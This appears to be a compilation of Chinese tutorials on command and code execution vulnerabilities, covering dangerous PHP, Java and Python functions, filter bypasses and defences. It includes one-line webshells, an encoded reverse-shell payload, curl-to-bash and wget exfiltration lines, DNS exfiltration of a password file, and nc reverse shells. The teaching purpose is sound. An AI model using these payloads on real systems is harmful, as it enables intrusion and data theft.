精华内容
下载资源
问答
  • 命令执行漏洞
    千次阅读
    2022-03-01 14:18:34

    基本定义

    命令执行漏洞是指攻击者可以随意执行系统命令,分为远程代码执行和系统命令执行两类。

    原理

    程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命
    令拼接到正常命令中,从而造成命令执行攻击。

    两个条件

    • 用户能够控制的函数输入
    • 存在可以执行代码或者系统命令的危险函数

    命令执行漏洞产生的原因

    • 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行
    • 命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。

    命令执行漏洞带来的危害

    • 继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
    • 反弹shell
    • 控制整个网站甚至控制服务器
    • 进一步内网渗透

    管道符号

    Linux

    • ;前面的执行完执行后面的
    • |是管道符,显示后面的执行结果
    • ||当前面的执行出错时执行后面的

    Windows 

    • &前面的语句为假则直接执行后面的
    • &&前面的语句为假则直接出错,后面的也不执行
    • |直接执行后面的语句
    • ||前面出错执行后面的

    通用命令符

    • command1 && command2        command1执行成功才执行command2
    • command1 | command2        只执行command2
    • command1 & command2        command1和command2之间互相不影响

    命令执行常见场景

    • Ping主机
    • DNS请求
    • Office文档
    • 框架缺陷

    远程代码执行

    远程代码执行的函数

    • eval()
    <?php
    if(isset($_GET['a'])){
    	eval($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • assert()
    <?php
    if(isset($_GET['a'])){
    	assert($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • preg_replace()
    <?php
    if(isset($_GET['a'])){
    	//Preg_replace("/\[(.*)\]/e",'\\1',$_GET['a']);	
    	Preg_replace("/(.*)/e",'\\1',$_GET['a']);
    }
    else{
    	echo "Please input a";
    }
    ?>
    • call_user_func()
    <?php
    if(isset($_GET['a'])){
    	call_user_func($_GET['a'],$_GET['b']);
    }
    else{
    	echo "Please input a";
    }
    ?>
    • $a($b)
    <?php
    if(isset($_GET['a'])&isset($_GET['b'])){
    	@$a = $_GET['a'];
    	@$b = $_GET['b'];
    	@$a($b);//函数,可变函数
    		//$a就是函数的名
    		//$b就是函数的值
    		//?a=assert&b=phpinfo()
    		//assert(phpinfo());
    }else{
    	echo "Please input a&b";
    }
    ?>

    如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞

    远程代码执行漏洞的利用payload

    payload作用
    ?a=@eval($_POST[666]);一句话木马
    ?a=print(__FILE__); 获取当前绝对路径
    ?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));读取文件

    ?a=var_dump(file_put_contents($_POST[1],$_POST[2]));

            1=shell.php&2=<?php phpinfo()?>

    写shell

    系统命令执行的函数

    • system()
    <?php
    if(isset($_GET['a'])){
    	system($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • exec()
    <?php
    if(isset($_GET['a'])){
    	echo exec($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • shell_exec()
    <?php
    if(isset($_GET['a'])){
    	echo shell_exec($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • passthru()
    <?php
    if(isset($_GET['a'])){
    	passthru($_GET['a']);	
    }
    else{
    	echo "Please input a";
    }
    ?>
    • popen()
    <?php
    if(isset($_GET['a'])){
    	popen("whoami >> 1.txt",'r');
    }else{
    	echo "Please input a";
    }
    ?>
    • 反引号
    <?php
    if(isset($_GET['a'])){
    	echo `whoami`;
    }else{
    	echo "Please input a";
    }
    ?>

     系统命令执行漏洞payload

    payload作用
    ?a=type c:\windows\system32\drivers\etc\hosts查看文件
    ?a=cd查看当前绝对路径
    ?a=echo "<?php phpinfo();?>" > E:\xampp\htdocs\php\os\phpinfo.php写shell

    命令执行漏洞防御方案

    (1)尽量不要执行外部命令
    (2)使用自定义函数或函数库来替代外部命令的功能
    (3)使用escapeshellarg函数来处理命令参数
    escapeshellarg函数会将任何引起参数或命令结束的字符转义,单引号 ' 、替换成 \ 双引号 “ 、替换成 \" 、分号 ;、替换成 \;
    (4)使用safe_mode_exec_dir指定要执行程序的主目录(php.ini)
    用safe_mode_exec_dir指定要执行程序的主目录,可以把会使用的命令提前放入此路径内
    safe_mode = On (打开php的安全模式)
    safe_mode_exec_dir = /usr/local/php/bin/

    更多相关内容
  • 命令执行和代码执行

    千次阅读 2021-03-26 21:20:00
    命令执行通常因为web应用在服务器上拼接系统命令而造成的漏洞。 命令执行直接调用操作系统命令。在操作系统中,“&、|、I"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行...

    命令执行

    简介

    命令执行通常因为指web应用在服务器上拼接系统命令而造成的漏洞。
    命令执行直接调用操作系统命令。在操作系统中,“&、|、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。

    场景

    该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

    危险函数

    PHP

    system:可以执行系统命令并将其输出。
    exec:执行命令,但无输出,可以使用output进行输出
    passthru:执行命令并输出
    shell_exec:执行命令,但无回显
    popen
    proc_open
    pcntl_exec() (需要开启pcntl扩展)
    ob_start:打开输出控制缓冲
    
    反引号:执行shell命令,并返回输出的字符串
    <?php
    highlight_file(__FILE__);
    $a = 'pwd';
    echo `$a`;
    ?>
    
    system:可以执行系统命令并将其输出。
    <?php
    highlight_file(__FILE__);
    system('pwd');
    system('whoami');
    ?>
    

    Python

    system
    popen
    subprocess.call
    spawn
    

    Java

    java.lang.Runtime.getRuntime().exec(command)
    

    防御

    1. 不使用时禁用相应函数
    2. 尽量不要执行外部的应用程序或命令
    3. 做输入的格式检查
    4. 转义命令中的所有shell元字符( #&;`,|*?~<>^()[]{}$\)
    5. 进入命令执行的函数或者方法之前,对参数进行过滤。
    6. 参数的值尽量用引号包裹(单引号变量不解析),并在拼接前调用addslashes进行转义。
    7. 禁止能执行系统命令的含食宿,可在php的配置文件中设置disable_functions

    代码执行

    应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval(),eval可以将字符串当做函数进行执行)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。一般很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

    危险函数

    PHP

    eval():将字符串当做函数进行执行(需要传入一个完整的语句)。
    assert():判断是否为字符串,是则当成代码执行。php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
    call_user_func():回调函数,可以使用is_callable查看是否可以进行调用call_user_fuc_array():回调函数,参数为数组
    create_function():创建匿名函数
    preg_replace()::当php版本小于7时,当为/e 时代码会执行
    array_map():为数组的每个元素应用回调函数
    array_iter():依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则 array数组的当前值会被包含,在返回的结果数组中。数组的键名保留不变。
    usort():使用自定义函数对数组进行排序。
    ${}:中间的php代码将会被解析。
    

    举例

    eval

    <?php
    eval('echo "hello";');
    ?>		#执行后就会输出一个hello
    

    assert

    <?php assert($_POST['a'];) ?>
    

    一句话木马就是利用的代码执行漏洞:

    <?php @eval($_POST[x]);?>
    

    防御

    1. 保证用户不能轻易接触eval()函数的参数或者用正则严格判断输入的数据格式。
    2. 字符串使用单引号包裹,并在插入前进行addslashes()。
    3. 对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹。

    相关文章:
    谈谈命令执行和代码执行——>传送门
    常见Web漏洞小结——>传送门

    展开全文
  • 详解命令执行漏洞

    千次阅读 2021-05-28 07:42:41
    详解命令执行漏洞漏洞描述漏洞原理漏洞危害漏洞产生的原因命令执行与代码执行的区别常见的危险函数命令执行的类型危险函数利用systempassthruexecshell_exec`(反引号)escapeshellarg/escapeshellcmdOS命令执行...

    漏洞描述

    命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
    如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击
    PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大

    漏洞原理

    应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞

    漏洞危害

    • 继承Web服务器程序的权限,去执行系统命令或读写文件
    • 反弹shell
    • 控制整个网站,甚至控制整个服务器

    漏洞产生的原因

    1. 没有对用户输入进行过滤或过滤不严
      例如,没有过滤&、&&、|、||等连接符
    2. 系统漏洞造成的命令执行
      bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等
    3. 调用的第三方组件存在代码执行漏洞
      例如:
      php(system()、shell_exec()、exec()、eval())
      JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
      ThinkPHP命令执行

    命令执行与代码执行的区别

    • 代码执行:执行效果完全依赖于语言本身
    • 命令执行:执行效果不受语言本身、命令本身的限制

    常见的危险函数

    1. php代码相关
      eval()
      assert()
      preg_replace
      call_user_func()
      call_user_func_array()
      create_function
      array_map()
    2. 系统命令执行相关
      system()
      passthru()
      exec()
      pcntl_exec()
      shell_exec()
      popen()
      proc_open()
      `(反单引号)
      ob_start()
    3. 特殊函数
      phpinfo()
      #这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息
      symlink():
      #一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容
      getenv
      #获取一个环境变量的值
      putenv($a)
      #添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态

    命令执行的类型

    • 代码层过滤不严格
    • 系统的漏洞造成命令注入
    • 调用的第三方组件存在代码执行漏洞

    危险函数利用

    system

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        $b = system($url, $a);
        echo $a.PHP_EOL;
        echo $b.PHP_EOL;
    }
    ?>
    

    恶意代码执行
    ?url=dir

    在这里插入图片描述

    文件写入
    ?url=echo 1111 > flag.php

    在这里插入图片描述

    passthru

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        passthru($url,$a);
        echo $a.PHP_EOL;
    }
    ?>
    

    文件写入
    ?url=dir > 22.txt

    在这里插入图片描述

    exec

    在这里插入图片描述

    需要注意的一点exec要有echo才有回显
    
    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo exec($url);
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述

    shell_exec

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo shell_exec($url);
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述

    `(反引号)

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo `$url`;
    }
    ?>
    

    在这里插入图片描述

    escapeshellarg/escapeshellcmd

    参考之前的文章:利用/绕过escapeshellarg/escapeshellcmd

    OS命令执行

    部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞

    WINDOWS系统支持的管道符

    “|”:直接执行后面的语句
    例如:ping www.baidu.com|whoami

    在这里插入图片描述

    “||”:如果前面执行的语句执行出错,则执行后面的语句
    例如:png www.baidu.com||whoami

    在这里插入图片描述

    “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
    例如:png www.baidu.com&whoami或者ping www.baidu.com&whoami

    在这里插入图片描述

    “&&”:如果前面的语句为真先执行第一个命令后执行第二个命令;为假则直接出错,也不执行后面的语句
    例如:ping www.baidu.com&&whoami png www.baidu.com&&whoami

    在这里插入图片描述

    LINUX系统支持的管道符

    “;”执行完前面的命令执行后面的

    在这里插入图片描述

    “|”:显示后面语句的执行结果

    在这里插入图片描述

    “||”:当前面的语句执行出错时,执行后面的语句

    在这里插入图片描述

    “&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假

    在这里插入图片描述

    “&&”:如果前面的语句为假则直接出错,也不执行后面的语句

    在这里插入图片描述

    Java

    这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的
    Java EE 之前被称为J2EE,Java EE 是在Java SE 的基础上构建的,它提供Web服务、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构(service-oriented architecture,SOA)和Web 2.0应用程序开发
    在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令,像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少),下面以 Runtime类为例进行说明,模型代码如下:

    import java. io.InputStream;  //导包操作
    import java. io.InputStreamReader;
    import java. io.BufferedReader;
    public class RuntimeTest{
      public static void main (String args []) throws Exception{
        if (args.length==0) {
          System.exit(1);  //没有参数就退出
        }
        String command = args[0];
        Runtime run = Runtime.getRuntime();
        Process pro = run. exec(command);  //执行命令
        InputStreamReader in = new InputStreamReader(pro.getInputStream());
        BufferedReader buff = new BufferedReader(in);
        for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
          System.out.println(temp);  //输出结果
        }
      buff .close();
      in.close();
      }
    }
    

    上面的代码经过编译后可以执行命令操作,如: java RuntimeTest “whoami”,执行命令操作

    在这里插入图片描述

    Python

    代码执行

    exec(string)		# Python代码的动态执行
    eval(string)		# 返回表达式或代码对象的值
    execfile(string)	# 从一个文件中读取和执行Python脚本
    input(string)		# Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
    compile(string)		# 将源字符串编译为可执行对象
    

    命令执行

    system()		# 执行系统指令
    popen()			# popen()方法用于从一个命令打开一个管道
    subprocess.call # 执行由参数提供的命令
    spawn 			# 执行命令
    

    常见过滤绕过

    编码绕过

    如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过

    八进制绕过

    $(printf “\154\163”)//ls命令,这个编码后可以拼接

    //这里过滤了-.等符号,只允许0-9a-zA-Z">\\\$();
    echo$IFS$9$(printf$IFS$9"\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py
    echo 'python反弹shell的payload' > /detect.py
    
    from flask import Flask
    from flask import render_template,request
    import subprocess,re
    app = Flask(__name__)
    
    @app.route('/',methods=['GET'])
    def index():
        return render_template('index.html')
    
    @app.route('/run',methods=['POST'])
    def run():
        cmd = request.form.get("cmd")
        if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
            return 'Hacker!'
        if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
            return 'Hacker!'
        p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
        try:
            (msg, errs) = p.communicate(timeout=5)
            return msg
        except Exception as e:
            return 'Error!'
    
    app.run(host='0.0.0.0',port='5000')
    

    在这里插入图片描述

    十六进制绕过

    echo "636174202F6574632F706173737764" | xxd -r -p|bash

    在这里插入图片描述

    十六进制字符序列

    值得注意的是,这种方法不适用于所有PHP函数,这种变量函数方法不能用于构造诸如echo、print、unset()、isset()、empty()、include、require等系统特殊函数,但可以使用包装函数来构造它们

    在这里插入图片描述

    空格过滤

    linux内置分隔符:${IFS},$IFS,$IFS$9

    在这里插入图片描述

    利用重定向符<>

    在这里插入图片描述

    >,+过滤

    对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

    在这里插入图片描述

    关键词绕过

    • 通过拆分命令达到绕过的效果:a=l;b=s;$a$b
    • 空变量绕过:cat fl${x}ag cat tes$(z)t/flag
    • 控制环境变量绕过:
      先利用echo $PATH得到环境变量 => "/usr/local/….blablabla”
      接着利用echo ${#PATH}得到长度
      然后要哪个字符截取哪个字符就行
      ${PATH:0:1} => ‘/’
      ${PATH:1:1} => ‘u’
      ${PATH:0:4} => ‘/usr’
    • 空值绕过:cat fl""ag cat fl''ag cat "fl""ag"
    • 反斜杠绕过:ca\t flag l\s

    在这里插入图片描述
    在这里插入图片描述

    空变量

    $*和$@,$x(x 代表 1-9),${x}(x>=10):比如ca${21}t a.txt表示cat a.txt
    在没有传入参数的情况下,这些特殊字符默认为空,如下:

    • wh$1oami
    • who$@ami
    • whoa$*mi

    在这里插入图片描述

    花括号的用法

    在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}

    在这里插入图片描述

    无回显的命令执行

    可以通过curl命令将命令的结果输出到访问的url中:

    curl www.rayi.vip/`whoami`
    

    在服务器日志中可看到:xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0",这样,命令的回显就能在日志中看到了

    读文件命令

    ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
    

    无回显的情况下wget带出:wget --post-file flag 47.100.120.123:2333

    长度绕过

    详细见P牛文章
    linux命令执行的时候可以使用反斜杠换行;bash脚本中同样适用上面的规则;可以用文件名加反斜杠构成命令,使用ls -t > o 将文件名输出到文件,使用bash o执行脚本

    在这里插入图片描述

    构造ls -t

    命令:>ls\\			#生成一个文件名为ls\的文件
    命令:ls>_			#为了确保ls -t 中ls在前面,所以要先使用ls>_将ls输入到文件_中
    命令:>\ \\			#生成ls -t之间的空格,一个文件名为 \的文件
    命令:>-t\\			#生成文件名为-t\的文件
    命令:>\>g			#生成文件名为>g的文件
    命令:ls>>_			#将所有的文件名写到文件_里
    命令:sh _			#由上至下按顺序执行由\拼接起来的ls -t命令,并将结果输入到文件g中
    
    import requests
    from time import sleep
    import urllib
    
    payload = [
        # generate `ls -t>g` file
        '>ls\\', 
        'ls>_', 
        '>\ \\', 
        '>-t\\', 
        '>\>g', 
        'ls>>_', 
        
        # generate `curl www.rayi.vip|bash` 
        # 注意文件名不能以.开头
        # 注意文件名不能有重复
        # 注意vps只能用index,因为文件名不能以/开头
        # 悲剧的是我的vps的ip正好有俩0.,只能用域名了
        '>sh\ ', 
        '>ba\\', 
        '>\|\\',
        '>p\\',
        '>vi\\',
        '>i.\\', 
        '>y\\',
        '>ra\\', 
        '>w.\\', 
        '>ww\\', 
        '>\ \\', 
        '>rl\\', 
        '>cu\\', 
        # exec
        'sh _', 
        #先执行ls -t>g
        'sh g'
       
    ]
    
    r = requests.get('http://url/?reset=1')
    for i in payload:
        assert len(i) <= 5 
        r = requests.get('http://url/?cmd=' + urllib.parse.quote(i) )
        print(i)
        sleep(1)
    

    get_defined_functions

    get_defined_functions系统函数会返回一个多维数组,该数组包含一个所有已定义函数(包括内部函数和用户定义函数)列表;内部函数可以通过$arr["internal"]来表示,用户定义的函数可以使用$arr["user"]来表示
    例如:php -r 'print_r(get_defined_functions()[internal]);'

    在这里插入图片描述

    以上就是在不使用系统函数的名称的情况下引用系统函数的另一种方式,如果我们筛选字符串"system",可以找出它的索引号,并利用这种方式使用它:php -r 'print_r(get_defined_functions()[internal]);' | grep 'system'

    在这里插入图片描述

    利用这种方式绕过WAF和代码中的安全过滤:
    在这里插入图片描述

    字符数组

    PHP中的每个字符串都可视为一个字符数组,并且可以通过语法$string[2]$string[-3]来引用单个字符,这同时也是另一种绕过安全规则的方法
    例如,仅仅使用字符串$a="elmsty/ ";,我就可以组成命令执行语句system("ls /tmp");(测试PHP版本>7.0)

    在这里插入图片描述

    引号逃逸

    在PHP中字符串并不总是伴随着引号我们可以主动声明它的类型,像例如$a = (string)foo;在这种情况下,变量$a就是字符串“foo”
    此外,还可以使用圆括号,如下图:

    在这里插入图片描述

    第一种绕过方式:使用(system)(ls);,但因为不能使用“system”这个字符串,所以我们可以用字符串连接,例如(sy.(st).em)(ls);

    在这里插入图片描述

    第二种绕过方式:使用变量$_GET,如果我发送这样一个请求?a=system&b=ls&code=$_GET[a]($_GET[b]);,在代码执行中$_GET[a]$_GET[b]会被systemls所替代,最终绕过引号的安全限制

    在这里插入图片描述

    DNSlog外带

    利用域名解析请求

    • 假设我们有个可控的二级域名,那么目标发出三级域名解析的时候,我们这边是能够拿到它的域名解析请求的,可以配合DNS请求进行命令执行的判断,这一般被称为dnslog
    • 要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现
    • 例:可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录;如得到的域名是test.ceye.io,当有主机访问1111. test.ceye.io时,就会记录下来这个域名解析请求;其中1111可以替换成我们需要获取的信息;如:cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done

    在这里插入图片描述

    Wireshark抓包

    在这里插入图片描述

    反弹shell

    nc -L -p 9090-e cmd.exe (Windows)
    
    nc -l -p 9090-e /bin/bash (*nix)
    

    防范措施

    1. 在PHP下禁用高危系统函数
      找到php.ini,查找到disable_functions,添加禁用的函数名
    2. 参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义
    3. 不执行外部的应用程序或命令
      尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容
    4. 使用escapeshellarg函数处理相关参数
      escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的
    5. 使用safe_mode_exec_dir指定可执行的文件路径
      将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径;这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败
    展开全文
  • 命令执行漏洞是攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅仅存在于B/S架构中,在C/S架构中也常常遇到。 简单的说,用户通过浏览器提交执行命令,由于服务器端没有...

    作者: h0we777
    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

    0x00 简介

    命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅仅存在于B/S架构中,在C/S架构中也常常遇到。

    简单的说,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。

    0x01 原理

    命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

    0x02 漏洞产生的原因

    没有对用户输入进行过滤或过滤不严
    例如:没有过滤&、&&、| 、||等连接符号。

    系统漏洞造成的命令执行
    bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等。

    调用的第三方组件存在代码执行漏洞
    例如:

    php (system()  shell_exec()  exec()  eval())
    JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
    ThinkPHP命令执行
    

    0x03 常见连接符(管道符)

    windows系统支持的连接符:
    在这里插入图片描述
    Linux系统支持的连接符
    在这里插入图片描述

    0x04 命令执行漏洞与代理漏洞的区别

    4.1 命名执行漏洞:直接调用操作系统命令

    命令执行漏洞原理:在操作系统中,"&、| 、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

    4.2 代码执行漏洞:靠执行脚本代码调用操作系统命令

    应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。

    0x05 命令执行漏洞的利用条件

    应用调用执行系统命令的函数;
    将用户输入作为系统命令的参数拼接到了命令行中;
    没有对用户输入过滤或过滤不严。

    0x06 命令执行漏洞产生的条件

    用户可以控制输入的内容
    用户输入的内容被当作命令执行

    0x07 命令执行漏洞分类

    7.1 命令直接注入执行漏洞

    应用程序直接使用了危险的可执行系统命令的函数,比如php的system、exec函数等,并且这些函数的运行参数是用户可控的,若过滤不严格,就会增大命令执行漏洞的概率。命令本地包含执行漏洞。(注:(CGI)系统命令注入执行漏洞示例,就比如Bash漏洞,就属于这类漏洞,用户可以直接更改HTTP头user-agent的值,就可引发命令注入。)

    7.2 命令包含执行漏洞

    命令本地/远程包含漏洞:应用程序直接包含或执行了用户可控的上传脚本文件或远程文件(URL引用文件),就会触发此漏洞。

    7.3 命令反序列执行漏洞

    有些动态脚本语言,如php支持实例对象的序列化传输,然后服务端将实例对象反序列化出来并执行解析后实例的构造函数、析构函数或_wakeup()函数,若这些函数利用了用户可控的参数,则会触发命令/代码注入执行漏洞,原理和之前直接注入一样。

    7.4 命令动态变量执行漏洞

    有些动态脚本语言,如php,支持变量或函数的动态定义,即运行时可通过参数名来动态组装变量、变量值或函数。若代码中包含有类似代码,就会存在动态变量/函数的执行漏洞。

    0x08 常见危险函数

    8.1 PHP下命令执行函数

    • Eval()
      该函数把字符串按照PHP代码来计算。该字符串必须是合法的php代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval()函数返回false。

    语法:eval(phpcode) phpcode必需。规定要计算的php代码。

    例子:

    <?php $a=$_GET['a'];eval($a);?>
    http://127.0.0.1/oscommand/1.php?a=phpinfo();
    
    • Assert()
      检查一个断言是否为false。

    语法:

    PHP 5 : bool assert(mixed assertion [, stringdescription])
    PHP 7 : bool assert(mixed assertion [, Throwableexception])
    assert() 会检查指定的 assertion 并在结果为false时采取适当的行动。
    

    例子:

    <?php $a = $_GET['a'];assert($a); ?> 
    http://127.0.0.1/oscommand/1.php?a=phpinfo(); http://127.0.0.1/oscommand/1.php?a=phpinfo()
    
    • Preg_replace()
      该函数执行一个正则表达式的搜索和替换。

    语法:

    mixed preg_replace(mixed pattern,mixed replacement,mixed subject \[,int limit=-1 [,int &$count]])
    搜索subject 中匹配pattern的部分,以replacement进行替换。
    

    参数说明:

    pattern:要搜索的模式,可以是字符串或一个字符串数组。当pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。
    $replacement:用于替换的字符串或字符串数组。
    $subject:要搜索替换的目标字符串或字符串数组。
    $limit:可选,对于每个模式用于每个subject字符串的最大可替换次数。默认是-1(无限制)
    $count:可选,为替换执行的次数。
    

    例子:

    <?php $a = $_GET['a']; echo preg_replace("/test/e", $a, "just test!") ?> 
    http://127.0.0.1/oscommand/1.php?a=phpinfo()
    

    注:在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。

    • Call_user_func()
      该函数把第一个参数作为回调函数调用。

    语法:

    mixed call_user_func(callable callback \[,mixed paremeter [,mixed $...]])
    第一个参数callback 是被调用的回调函数,其余参数是回调函数的参数。
    

    例子:

    <?php call_user_func($_GET['a'],$_GET['b']); ?> 
    http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()
    
    • call_user_func_array
    • create_function
    • array_map
    • system
